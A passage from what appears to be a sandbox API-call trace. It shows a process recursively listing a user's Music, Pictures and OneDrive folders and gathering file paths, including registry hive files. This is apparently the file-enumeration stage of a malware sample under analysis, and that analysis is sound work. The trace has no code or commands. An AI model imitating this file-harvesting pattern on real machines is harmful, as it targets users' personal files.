hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.940] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.940] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.940] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.940] lstrcmpW (lpString1="0urTZbiAGmND856rsz.wav", lpString2=".") returned 1 [0123.940] lstrcmpW (lpString1="0urTZbiAGmND856rsz.wav", lpString2="..") returned 1 [0123.940] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0123.940] lstrlenW (lpString="0urTZbiAGmND856rsz.wav") returned 22 [0123.940] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="0urTZbiAGmND856rsz.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav") returned="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav" [0123.940] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav") returned 46 [0123.940] lstrcpyW (in: lpString1=0x24bd6f8, lpString2="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav") returned="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav" [0123.940] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.940] lstrcmpW (lpString1="ArMUD7tGcE.m4a", lpString2=".") returned 1 [0123.940] lstrcmpW (lpString1="ArMUD7tGcE.m4a", lpString2="..") returned 1 [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0123.941] lstrlenW (lpString="ArMUD7tGcE.m4a") returned 14 [0123.941] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="ArMUD7tGcE.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a") returned="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a" [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a") returned 38 [0123.941] lstrcpyW (in: lpString1=0x24bb888, lpString2="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a") returned="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a" [0123.941] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.941] lstrcmpW (lpString1="BJii_iHQeR86Jrb6XdUN.wav", lpString2=".") returned 1 [0123.941] lstrcmpW (lpString1="BJii_iHQeR86Jrb6XdUN.wav", lpString2="..") returned 1 [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0123.941] lstrlenW (lpString="BJii_iHQeR86Jrb6XdUN.wav") returned 24 [0123.941] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="BJii_iHQeR86Jrb6XdUN.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav") returned="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav" [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav") returned 48 [0123.941] lstrcpyW (in: lpString1=0x24be7e0, lpString2="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav") returned="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav" [0123.941] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.941] lstrcmpW (lpString1="BU2zG", lpString2=".") returned 1 [0123.941] lstrcmpW (lpString1="BU2zG", lpString2="..") returned 1 [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0123.941] lstrlenW (lpString="BU2zG") returned 5 [0123.941] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="BU2zG" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\BU2zG") returned="c:\\Users\\aETAdzjz\\Music\\BU2zG" [0123.941] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.941] lstrcmpW (lpString1="CSZbKR", lpString2=".") returned 1 [0123.941] lstrcmpW (lpString1="CSZbKR", lpString2="..") returned 1 [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0123.941] lstrlenW (lpString="CSZbKR") returned 6 [0123.941] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="CSZbKR" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\CSZbKR") returned="c:\\Users\\aETAdzjz\\Music\\CSZbKR" [0123.941] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.941] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.941] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0123.941] lstrlenW (lpString="desktop.ini") returned 11 [0123.941] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Music\\desktop.ini" [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\desktop.ini") returned 35 [0123.941] lstrcpyW (in: lpString1=0x24bf718, lpString2="c:\\Users\\aETAdzjz\\Music\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Music\\desktop.ini" [0123.941] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.941] lstrcmpW (lpString1="E4rt4A.mp3", lpString2=".") returned 1 [0123.941] lstrcmpW (lpString1="E4rt4A.mp3", lpString2="..") returned 1 [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0123.941] lstrlenW (lpString="E4rt4A.mp3") returned 10 [0123.941] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="E4rt4A.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3") returned="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3" [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3") returned 34 [0123.941] lstrcpyW (in: lpString1=0x24bf768, lpString2="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3") returned="c:\\Users\\aETAdzjz\\Music\\E4rt4A.mp3" [0123.941] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.941] lstrcmpW (lpString1="h7aWf.wav", lpString2=".") returned 1 [0123.941] lstrcmpW (lpString1="h7aWf.wav", lpString2="..") returned 1 [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0123.941] lstrlenW (lpString="h7aWf.wav") returned 9 [0123.941] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="h7aWf.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav") returned="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav" [0123.941] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav") returned 33 [0123.941] lstrcpyW (in: lpString1=0x24bf7b8, lpString2="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav") returned="c:\\Users\\aETAdzjz\\Music\\h7aWf.wav" [0123.941] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.941] lstrcmpW (lpString1="v-t6Z79-Bq.m4a", lpString2=".") returned 1 [0123.941] lstrcmpW (lpString1="v-t6Z79-Bq.m4a", lpString2="..") returned 1 [0123.942] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0123.942] lstrlenW (lpString="v-t6Z79-Bq.m4a") returned 14 [0123.942] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="v-t6Z79-Bq.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a") returned="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a" [0123.942] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a") returned 38 [0123.942] lstrcpyW (in: lpString1=0x24bb8e0, lpString2="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a") returned="c:\\Users\\aETAdzjz\\Music\\v-t6Z79-Bq.m4a" [0123.942] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.942] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.942] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.942] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0123.942] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0123.942] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.942] lstrlenW (lpString="My Documents") returned 12 [0123.942] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="My Documents" | out: lpString1="c:\\Users\\aETAdzjz\\My Documents") returned="c:\\Users\\aETAdzjz\\My Documents" [0123.942] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\My Documents", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\My Documents\\") returned="c:\\Users\\aETAdzjz\\My Documents\\" [0123.942] lstrlenW (lpString="c:\\Users\\aETAdzjz\\My Documents\\") returned 31 [0123.942] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\My Documents\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\My Documents\\*") returned="c:\\Users\\aETAdzjz\\My Documents\\*" [0123.942] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\My Documents\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.942] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.942] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0123.942] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0123.942] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.942] lstrlenW (lpString="NetHood") returned 7 [0123.942] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="NetHood" | out: lpString1="c:\\Users\\aETAdzjz\\NetHood") returned="c:\\Users\\aETAdzjz\\NetHood" [0123.942] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\NetHood", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\NetHood\\") returned="c:\\Users\\aETAdzjz\\NetHood\\" [0123.942] lstrlenW (lpString="c:\\Users\\aETAdzjz\\NetHood\\") returned 26 [0123.942] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\NetHood\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\NetHood\\*") returned="c:\\Users\\aETAdzjz\\NetHood\\*" [0123.942] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\NetHood\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.942] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.942] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0123.942] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0123.942] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.942] lstrlenW (lpString="NTUSER.DAT") returned 10 [0123.942] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="NTUSER.DAT" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT" [0123.942] lstrlenW (lpString="c:\\Users\\aETAdzjz\\NTUSER.DAT") returned 28 [0123.942] lstrcpyW (in: lpString1=0x6dd9d8, lpString2="c:\\Users\\aETAdzjz\\NTUSER.DAT" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT" [0123.942] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.942] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0123.942] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0123.942] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.942] lstrlenW (lpString="ntuser.dat.LOG1") returned 15 [0123.942] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="ntuser.dat.LOG1" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1") returned="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1" [0123.943] lstrlenW (lpString="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1") returned 33 [0123.943] lstrcpyW (in: lpString1=0x24bf808, lpString2="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1") returned="c:\\Users\\aETAdzjz\\ntuser.dat.LOG1" [0123.943] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.943] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0123.943] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0123.943] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.943] lstrlenW (lpString="ntuser.dat.LOG2") returned 15 [0123.943] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="ntuser.dat.LOG2" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2") returned="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2" [0123.943] lstrlenW (lpString="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2") returned 33 [0123.943] lstrcpyW (in: lpString1=0x24bf858, lpString2="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2") returned="c:\\Users\\aETAdzjz\\ntuser.dat.LOG2" [0123.943] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.943] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".") returned 1 [0123.943] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="..") returned 1 [0123.943] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.943] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0123.943] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0123.943] lstrlenW (lpString="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 73 [0123.943] lstrcpyW (in: lpString1=0x24bf8a8, lpString2="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0123.943] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.943] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0123.943] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0123.943] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.943] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0123.943] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0123.943] lstrlenW (lpString="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 110 [0123.943] lstrcpyW (in: lpString1=0x24bf948, lpString2="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0123.943] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.943] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0123.943] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0123.943] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.943] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0123.943] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0123.943] lstrlenW (lpString="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 110 [0123.943] lstrcpyW (in: lpString1=0x24bfa30, lpString2="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="c:\\Users\\aETAdzjz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0123.943] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.943] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0123.943] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0123.943] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.943] lstrlenW (lpString="ntuser.ini") returned 10 [0123.943] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="ntuser.ini" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.ini") returned="c:\\Users\\aETAdzjz\\ntuser.ini" [0123.943] lstrlenW (lpString="c:\\Users\\aETAdzjz\\ntuser.ini") returned 28 [0123.943] lstrcpyW (in: lpString1=0x6dda20, lpString2="c:\\Users\\aETAdzjz\\ntuser.ini" | out: lpString1="c:\\Users\\aETAdzjz\\ntuser.ini") returned="c:\\Users\\aETAdzjz\\ntuser.ini" [0123.944] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.944] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0123.944] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0123.944] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.944] lstrlenW (lpString="OneDrive") returned 8 [0123.944] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="OneDrive" | out: lpString1="c:\\Users\\aETAdzjz\\OneDrive") returned="c:\\Users\\aETAdzjz\\OneDrive" [0123.944] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\OneDrive", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\OneDrive\\") returned="c:\\Users\\aETAdzjz\\OneDrive\\" [0123.944] lstrlenW (lpString="c:\\Users\\aETAdzjz\\OneDrive\\") returned 27 [0123.944] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\OneDrive\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\OneDrive\\*") returned="c:\\Users\\aETAdzjz\\OneDrive\\*" [0123.944] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\OneDrive\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.944] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.944] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.944] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.944] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.944] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.944] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.944] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.944] lstrlenW (lpString="c:\\Users\\aETAdzjz\\OneDrive\\") returned 27 [0123.944] lstrlenW (lpString="desktop.ini") returned 11 [0123.944] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\OneDrive\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini") returned="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini" [0123.944] lstrlenW (lpString="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini") returned 38 [0123.944] lstrcpyW (in: lpString1=0x24bb938, lpString2="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini") returned="c:\\Users\\aETAdzjz\\OneDrive\\desktop.ini" [0123.944] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.944] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.944] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.944] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0123.944] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0123.944] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.944] lstrlenW (lpString="Pictures") returned 8 [0123.944] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Pictures" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures") returned="c:\\Users\\aETAdzjz\\Pictures" [0123.944] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\") returned="c:\\Users\\aETAdzjz\\Pictures\\" [0123.944] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0123.944] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\*") returned="c:\\Users\\aETAdzjz\\Pictures\\*" [0123.944] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Pictures\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.945] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.945] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.945] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.945] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.945] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.945] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.945] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.945] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0123.945] lstrlenW (lpString="desktop.ini") returned 11 [0123.945] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini" [0123.945] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini") returned 38 [0123.945] lstrcpyW (in: lpString1=0x24bb990, lpString2="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Pictures\\desktop.ini" [0123.945] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.945] lstrcmpW (lpString1="j7VqvazuU4", lpString2=".") returned 1 [0123.945] lstrcmpW (lpString1="j7VqvazuU4", lpString2="..") returned 1 [0123.945] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0123.945] lstrlenW (lpString="j7VqvazuU4") returned 10 [0123.945] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="j7VqvazuU4" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\j7VqvazuU4") returned="c:\\Users\\aETAdzjz\\Pictures\\j7VqvazuU4" [0123.945] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.945] lstrcmpW (lpString1="W6ad.gif", lpString2=".") returned 1 [0123.945] lstrcmpW (lpString1="W6ad.gif", lpString2="..") returned 1 [0123.945] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\") returned 27 [0123.945] lstrlenW (lpString="W6ad.gif") returned 8 [0123.945] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Pictures\\", lpString2="W6ad.gif" | out: lpString1="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif") returned="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif" [0123.945] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Pictures\\W6ad.gif") returned 35 [0123.945] lstrcpyW (in: 